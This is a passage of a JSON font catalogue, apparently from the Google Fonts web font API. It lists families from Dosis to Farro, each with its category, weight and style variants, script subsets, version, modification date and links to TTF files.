"http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJabMV3BkFTq4EPw.ttf", "regular": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJN7MV3BkFTq4EPw.ttf", "500": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJBbMV3BkFTq4EPw.ttf", "600": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJ6bQV3BkFTq4EPw.ttf", "700": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJ0LQV3BkFTq4EPw.ttf", "800": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJt7QV3BkFTq4EPw.ttf" } }, { "kind": "webfonts#webfont", "family": "Dr Sugiyama", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/drsugiyama/v9/HTxoL2k4N3O9n5I1boGI7abRM4-t-g7y.ttf" } }, { "kind": "webfonts#webfont", "family": "Duru Sans", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/durusans/v13/xn7iYH8xwmSyTvEV_HOxT_fYdN-WZw.ttf" } }, { "kind": "webfonts#webfont", "family": "Dynalight", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dynalight/v8/1Ptsg8LOU_aOmQvTsF4ISotrDfGGxA.ttf" } }, { "kind": "webfonts#webfont", "family": "EB Garamond", "category": "serif", "variants": [ "regular", "500", "600", "700", "800", "italic", "500italic", "600italic", "700italic", "800italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v13", "lastModified": "2020-02-05", "files": { "regular": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-6_RUA4V-e6yHgQ.ttf", "500": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-2fRUA4V-e6yHgQ.ttf", "600": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-NfNUA4V-e6yHgQ.ttf", "700": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-DPNUA4V-e6yHgQ.ttf", "800": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-a_NUA4V-e6yHgQ.ttf", "italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7e8QI96WamXgXFI.ttf", "500italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7eOQI96WamXgXFI.ttf", "600italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7diR496WamXgXFI.ttf", "700italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7dbR496WamXgXFI.ttf", "800italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7c8R496WamXgXFI.ttf" } }, { "kind": "webfonts#webfont", "family": "Eagle Lake", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/eaglelake/v7/ptRMTiqbbuNJDOiKj9wG5O7yKQNute8.ttf" } }, { "kind": "webfonts#webfont", "family": "East Sea Dokdo", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/eastseadokdo/v8/xfuo0Wn2V2_KanASqXSZp22m05_aGavYS18y.ttf" } }, { "kind": "webfonts#webfont", "family": "Eater", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/eater/v8/mtG04_FCK7bOvpu2u3FwsXsR.ttf" } }, { "kind": "webfonts#webfont", "family": "Economica", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/economica/v7/Qw3fZQZaHCLgIWa29ZBrMcgAAl1lfQ.ttf", "italic": "http://fonts.gstatic.com/s/economica/v7/Qw3ZZQZaHCLgIWa29ZBbM8IEIFh1fWUl.ttf", "700": "http://fonts.gstatic.com/s/economica/v7/Qw3aZQZaHCLgIWa29ZBTjeckCnZ5dHw8iw.ttf", "700italic": "http://fonts.gstatic.com/s/economica/v7/Qw3EZQZaHCLgIWa29ZBbM_q4D3x9Vnksi4M7.ttf" } }, { "kind": "webfonts#webfont", "family": "Eczar", "category": "serif", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/eczar/v8/BXRlvF3Pi-DLmw0iBu9y8Hf0.ttf", "500": "http://fonts.gstatic.com/s/eczar/v8/BXRovF3Pi-DLmzXWL8t622v9WNjW.ttf", "600": "http://fonts.gstatic.com/s/eczar/v8/BXRovF3Pi-DLmzX6KMt622v9WNjW.ttf", "700": "http://fonts.gstatic.com/s/eczar/v8/BXRovF3Pi-DLmzWeKct622v9WNjW.ttf", "800": "http://fonts.gstatic.com/s/eczar/v8/BXRovF3Pi-DLmzWCKst622v9WNjW.ttf" } }, { "kind": "webfonts#webfont", "family": "El Messiri", "category": "sans-serif", "variants": [ "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "arabic", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/elmessiri/v6/K2F0fZBRmr9vQ1pHEey6AoqKAyLzfWo.ttf", "500": "http://fonts.gstatic.com/s/elmessiri/v6/K2F3fZBRmr9vQ1pHEey6On6jJyrYYWOMluQ.ttf", "600": "http://fonts.gstatic.com/s/elmessiri/v6/K2F3fZBRmr9vQ1pHEey6OlKkJyrYYWOMluQ.ttf", "700": "http://fonts.gstatic.com/s/elmessiri/v6/K2F3fZBRmr9vQ1pHEey6OjalJyrYYWOMluQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Electrolize", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/electrolize/v8/cIf5Ma1dtE0zSiGSiED7AUEGso5tQafB.ttf" } }, { "kind": "webfonts#webfont", "family": "Elsie", "category": "display", "variants": [ "regular", "900" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/elsie/v9/BCanqZABrez54yYu9slAeLgX.ttf", "900": "http://fonts.gstatic.com/s/elsie/v9/BCaqqZABrez54x6q2-1IU6QeXSBk.ttf" } }, { "kind": "webfonts#webfont", "family": "Elsie Swash Caps", "category": "display", "variants": [ "regular", "900" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/elsieswashcaps/v8/845DNN8xGZyVX5MVo_upKf7KnjK0ferVKGWsUo8.ttf", "900": "http://fonts.gstatic.com/s/elsieswashcaps/v8/845ENN8xGZyVX5MVo_upKf7KnjK0RW74DG2HToawrdU.ttf" } }, { "kind": "webfonts#webfont", "family": "Emblema One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/emblemaone/v8/nKKT-GQ0F5dSY8vzG0rOEIRBHl57G_f_.ttf" } }, { "kind": "webfonts#webfont", "family": "Emilys Candy", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/emilyscandy/v7/2EbgL-1mD1Rnb0OGKudbk0y5r9xrX84JjA.ttf" } }, { "kind": "webfonts#webfont", "family": "Encode Sans", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/encodesans/v4/LDI0apOFNxEwR-Bd1O9uYPvIeeLkl7Iw6yg.ttf", "200": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPtkWMLOub458jGL.ttf", "300": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPsAW8LOub458jGL.ttf", "regular": "http://fonts.gstatic.com/s/encodesans/v4/LDI2apOFNxEwR-Bd1O9uYMOsc-bGkqIw.ttf", "500": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPtYWsLOub458jGL.ttf", "600": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPt0XcLOub458jGL.ttf", "700": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPsQXMLOub458jGL.ttf", "800": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPsMX8LOub458jGL.ttf", "900": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPsoXsLOub458jGL.ttf" } }, { "kind": "webfonts#webfont", "family": "Encode Sans Condensed", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_76_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-5a-JLQoFI2KR.ttf", "200": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-SY6pByQJKnuIFA.ttf", "300": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-LY2pByQJKnuIFA.ttf", "regular": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_16_LD37rqfuwxyIuaZhE6cRXOLtm2gfTGgaWNDw8VIw.ttf", "500": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-dYypByQJKnuIFA.ttf", "600": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-WYupByQJKnuIFA.ttf", "700": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-PYqpByQJKnuIFA.ttf", "800": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-IYmpByQJKnuIFA.ttf", "900": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-BYipByQJKnuIFA.ttf" } }, { "kind": "webfonts#webfont", "family": "Encode Sans Expanded", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mx1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpJGKQNicoAbJlw.ttf", "200": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpLqCCNIXIwSP0XD.ttf", "300": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKOCyNIXIwSP0XD.ttf", "regular": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4m_1mF4GcnstG_Jh1QH6ac4hNLeNyeYUqoiIwdAd5Ab.ttf", "500": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpLWCiNIXIwSP0XD.ttf", "600": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpL6DSNIXIwSP0XD.ttf", "700": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKeDCNIXIwSP0XD.ttf", "800": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKCDyNIXIwSP0XD.ttf", "900": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKmDiNIXIwSP0XD.ttf" } }, { "kind": "webfonts#webfont", "family": "Encode Sans Semi Condensed", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT6oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1T19MFtQ9jpVUA.ttf", "200": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1RZ1eFHbdTgTFmr.ttf", "300": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Q91uFHbdTgTFmr.ttf", "regular": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT4oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG2yR_sVPRsjp.ttf", "500": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Rl1-FHbdTgTFmr.ttf", "600": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1RJ0OFHbdTgTFmr.ttf", "700": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Qt0eFHbdTgTFmr.ttf", "800": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Qx0uFHbdTgTFmr.ttf", "900": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1QV0-FHbdTgTFmr.ttf" } }, { "kind": "webfonts#webfont", "family": "Encode Sans Semi Expanded", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8xOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM-41KwrlKXeOEA.ttf", "200": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM0IUCyDLJX6XCWU.ttf", "300": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMyYXCyDLJX6XCWU.ttf", "regular": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke83OhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TC4o_LyjgOXc.ttf", "500": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM34WCyDLJX6XCWU.ttf", "600": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM1IRCyDLJX6XCWU.ttf", "700": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMzYQCyDLJX6XCWU.ttf", "800": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMyoTCyDLJX6XCWU.ttf", "900": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMw4SCyDLJX6XCWU.ttf" } }, { "kind": "webfonts#webfont", "family": "Engagement", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/engagement/v9/x3dlckLDZbqa7RUs9MFVXNossybsHQI.ttf" } }, { "kind": "webfonts#webfont", "family": "Englebert", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/englebert/v7/xn7iYH8w2XGrC8AR4HSxT_fYdN-WZw.ttf" } }, { "kind": "webfonts#webfont", "family": "Enriqueta", "category": "serif", "variants": [ "regular", "500", "600", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/enriqueta/v9/goksH6L7AUFrRvV44HVTS0CjkP1Yog.ttf", "500": "http://fonts.gstatic.com/s/enriqueta/v9/gokpH6L7AUFrRvV44HVrv2mHmNZEq6TTFw.ttf", "600": "http://fonts.gstatic.com/s/enriqueta/v9/gokpH6L7AUFrRvV44HVrk26HmNZEq6TTFw.ttf", "700": "http://fonts.gstatic.com/s/enriqueta/v9/gokpH6L7AUFrRvV44HVr92-HmNZEq6TTFw.ttf" } }, { "kind": "webfonts#webfont", "family": "Erica One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ericaone/v10/WBLnrEXccV9VGrOKmGD1W0_MJMGxiQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Esteban", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/esteban/v8/r05bGLZE-bdGdN-GdOuD5jokU8E.ttf" } }, { "kind": "webfonts#webfont", "family": "Euphoria Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/euphoriascript/v8/mFTpWb0X2bLb_cx6To2B8GpKoD5ak_ZT1D8x7Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Ewert", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ewert/v7/va9I4kzO2tFODYBvS-J3kbDP.ttf" } }, { "kind": "webfonts#webfont", "family": "Exo", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/exo/v9/4UaMrEtFpBIaEH6m2jbu5rXI.ttf", "100italic": "http://fonts.gstatic.com/s/exo/v9/4UaCrEtFpBISdkbC0DLM46XI-po.ttf", "200": "http://fonts.gstatic.com/s/exo/v9/4UaDrEtFpBIavF-G8Bji76zR4w.ttf", "200italic": "http://fonts.gstatic.com/s/exo/v9/4UaBrEtFpBISdkZu8RLmzanB44N1.ttf", "300": "http://fonts.gstatic.com/s/exo/v9/4UaDrEtFpBIa2FyG8Bji76zR4w.ttf", "300italic": "http://fonts.gstatic.com/s/exo/v9/4UaBrEtFpBISdkYK8hLmzanB44N1.ttf", "regular": "http://fonts.gstatic.com/s/exo/v9/4UaOrEtFpBIidHSi-DP-5g.ttf", "italic": "http://fonts.gstatic.com/s/exo/v9/4UaMrEtFpBISdn6m2jbu5rXI.ttf", "500": "http://fonts.gstatic.com/s/exo/v9/4UaDrEtFpBIagF2G8Bji76zR4w.ttf", "500italic": "http://fonts.gstatic.com/s/exo/v9/4UaBrEtFpBISdkZS8xLmzanB44N1.ttf", "600": "http://fonts.gstatic.com/s/exo/v9/4UaDrEtFpBIarFqG8Bji76zR4w.ttf", "600italic": "http://fonts.gstatic.com/s/exo/v9/4UaBrEtFpBISdkZ-9BLmzanB44N1.ttf", "700": "http://fonts.gstatic.com/s/exo/v9/4UaDrEtFpBIayFuG8Bji76zR4w.ttf", "700italic": "http://fonts.gstatic.com/s/exo/v9/4UaBrEtFpBISdkYa9RLmzanB44N1.ttf", "800": "http://fonts.gstatic.com/s/exo/v9/4UaDrEtFpBIa1FiG8Bji76zR4w.ttf", "800italic": "http://fonts.gstatic.com/s/exo/v9/4UaBrEtFpBISdkYG9hLmzanB44N1.ttf", "900": "http://fonts.gstatic.com/s/exo/v9/4UaDrEtFpBIa8FmG8Bji76zR4w.ttf", "900italic": "http://fonts.gstatic.com/s/exo/v9/4UaBrEtFpBISdkYi9xLmzanB44N1.ttf" } }, { "kind": "webfonts#webfont", "family": "Exo 2", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900", "100italic", "200italic", "300italic", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v8", "lastModified": "2020-03-20", "files": { "100": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jvvOcPtq-rpvLpQ.ttf", "200": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jPvKcPtq-rpvLpQ.ttf", "300": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8j4PKcPtq-rpvLpQ.ttf", "regular": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jvvKcPtq-rpvLpQ.ttf", "500": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jjPKcPtq-rpvLpQ.ttf", "600": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jYPWcPtq-rpvLpQ.ttf", "700": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jWfWcPtq-rpvLpQ.ttf", "800": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jPvWcPtq-rpvLpQ.ttf", "900": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jF_WcPtq-rpvLpQ.ttf", "100italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drF0fNC6jJ7bpQBL.ttf", "200italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drH0fdC6jJ7bpQBL.ttf", "300italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drEqfdC6jJ7bpQBL.ttf", "italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drF0fdC6jJ7bpQBL.ttf", "500italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drFGfdC6jJ7bpQBL.ttf", "600italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drGqetC6jJ7bpQBL.ttf", "700italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drGTetC6jJ7bpQBL.ttf", "800italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drH0etC6jJ7bpQBL.ttf", "900italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drHdetC6jJ7bpQBL.ttf" } }, { "kind": "webfonts#webfont", "family": "Expletus Sans", "category": "display", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/expletussans/v13/RLp5K5v5_bqufTYdnhFzDj2dRfkSu6EuTHo.ttf", "italic": "http://fonts.gstatic.com/s/expletussans/v13/RLpnK5v5_bqufTYdnhFzDj2ddfsYv4MrXHrRDA.ttf", "500": "http://fonts.gstatic.com/s/expletussans/v13/RLpkK5v5_bqufTYdnhFzDj2dfQ07n6kFUHPIFaU.ttf", "500italic": "http://fonts.gstatic.com/s/expletussans/v13/RLpiK5v5_bqufTYdnhFzDj2ddfsgS6oPVFHNBaVImA.ttf", "600": "http://fonts.gstatic.com/s/expletussans/v13/RLpkK5v5_bqufTYdnhFzDj2dfSE8n6kFUHPIFaU.ttf", "600italic": "http://fonts.gstatic.com/s/expletussans/v13/RLpiK5v5_bqufTYdnhFzDj2ddfsgZ60PVFHNBaVImA.ttf", "700": "http://fonts.gstatic.com/s/expletussans/v13/RLpkK5v5_bqufTYdnhFzDj2dfUU9n6kFUHPIFaU.ttf", "700italic": "http://fonts.gstatic.com/s/expletussans/v13/RLpiK5v5_bqufTYdnhFzDj2ddfsgA6wPVFHNBaVImA.ttf" } }, { "kind": "webfonts#webfont", "family": "Fahkwang", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "200": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOJHmZlRFipxkwjx.ttf", "200italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgHFQHC5Tlhjxdw4.ttf", "300": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOIjmplRFipxkwjx.ttf", "300italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgBVTHC5Tlhjxdw4.ttf", "regular": "http://fonts.gstatic.com/s/fahkwang/v3/Noax6Uj3zpmBOgbNpNqPsr1ZPTZ4.ttf", "italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa36Uj3zpmBOgbNpOqNuLl7OCZ4ihE.ttf", "500": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOJ7m5lRFipxkwjx.ttf", "500italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgE1SHC5Tlhjxdw4.ttf", "600": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOJXnJlRFipxkwjx.ttf", "600italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgGFVHC5Tlhjxdw4.ttf", "700": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOIznZlRFipxkwjx.ttf", "700italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgAVUHC5Tlhjxdw4.ttf" } }, { "kind": "webfonts#webfont", "family": "Fanwood Text", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fanwoodtext/v9/3XFtErwl05Ad_vSCF6Fq7xXGRdbY1P1Sbg.ttf", "italic": "http://fonts.gstatic.com/s/fanwoodtext/v9/3XFzErwl05Ad_vSCF6Fq7xX2R9zc9vhCblye.ttf" } }, { "kind": "webfonts#webfont", "family": "Farro", "category": "sans-serif", "variants": [ "300", "regular", "500", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2019-11-05", "files": { "300": "http://fonts.gstatic.com/s/farro/v1/i7dJIFl3byGNHa3hNJ6-WkJUQUq7.ttf", "regular": "http://fonts.gstatic.com/s/farro/v1/i7dEIFl3byGNHZVNHLq2cV5d.ttf", "500": "http://fonts.gstatic.com/s/farro/v1/i7dJIFl3byGNHa25NZ6-WkJUQUq7.ttf", "700": "http://fonts.gstatic.com/s/farro/v1/i7dJIFl3byGNHa3xM56-WkJUQUq7.ttf" } }, { "kind": 